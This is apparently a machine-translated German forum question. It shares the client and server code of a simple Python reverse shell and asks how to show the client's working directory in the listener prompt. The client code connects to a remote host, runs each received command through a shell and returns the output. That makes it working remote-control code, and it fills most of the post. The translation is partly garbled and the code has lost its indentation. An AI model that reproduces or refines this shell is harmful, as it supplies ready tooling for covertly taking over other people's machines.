Dies ist meine einfache umgekehrte Shell in Python geschrieben. Ich versuche es besser zu machen. seitigen Codeaktuelle Arbeitsverzeichnis als Eingabeaufforderung in einer Python-Reverse-Shell setzen
Auftraggeber:
import socket
import subprocess
mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
mySocket.connect(('172.16.1.30', 7071))
cmd=mySocket.recv(100)
while (cmd != 'exit'):
cmdResult = subprocess.Popen(args=cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
mySocket.send(cmdResult.communicate()[0])
cmd = mySocket.recv(100)
mySocket.send('Shell closed by user.')
mySocket.close()
Server-Side-Code:
import socket
mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
mySocket.bind(('172.16.1.30', 7071))
mySocket.listen(1)
clntConn, clntAddr = mySocket.accept()
print 'Received connection from ' + str(clntAddr[0]) + ':' + str(clntAddr[1])
while True:
command=raw_input('Shell>')
clntConn.send(command)
result=clntConn.recv(1024)
if (result == 'Shell closed by user.'):
print result
exit(0)
else:
print result
Wie in "Server-Side-Code" gesehen die raw_input Prompt ist "Shell". Wie kann ich es zum aktuellen Arbeitsverzeichnis auf dem Client ändern.
Zum Beispiel, wenn der Kunde aktuelle Arbeitsverzeichnis ist "C: \ Benutzer Test \ Desktop \ \"
Ich hatte eine raw_input prompt als "C: \ Users Test \ Desktop \>".
Danke.
Ich wollte clientseitige aktuelle Arbeitsverzeichnis haben, nicht die Server-Seite. – Daniel
Führen Sie anschließend den Befehl im Client aus. Trotzdem ist der Befehl derselbe. –